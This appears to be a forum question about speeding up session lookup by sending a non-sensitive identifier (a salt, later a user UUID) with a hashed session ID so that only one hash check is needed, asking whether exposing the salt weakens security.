So the idea is to use an identifier, which is unsensitive to do the following (pseudocode)

select get_user_by_session_id(user-given-dentifier, session_id)
select hash from session-table where identifier=user-given-identifier
check if hash_function(session_id) = hash

This has the advantage, that only one crypto-operation is necessary, instead of one for each row in the session table until the valid one is found.

In the current design there are two possible identifiers I could give to the user.

A static unique member_key which is generated at the registration for each user.
The salt used for encrypt / hash the session-id

I would go for the salt, because I wanted to use the member_key for identification purposes (support calls) or something else.
I don't see any problems with this, because of the following reasons:

in general the salt must not be encrypted and can be saved in plain text
only the webserver and the user himself sees the salt (webserver during transmit, user in the cookie)
the attacker only can get this salt by intercepting the connection - if he does this, he also get the session-id in plaintext

Do I miss anything? Does the static member_key have any advantages over the salt?

I replaced the primary-key of the Users-Table with an uuid instead of a big serial and used this as insensitive information.

The session-id at the client looks like ||.

With this I could minimized the session-lookup from > 1 sec to about 100ms.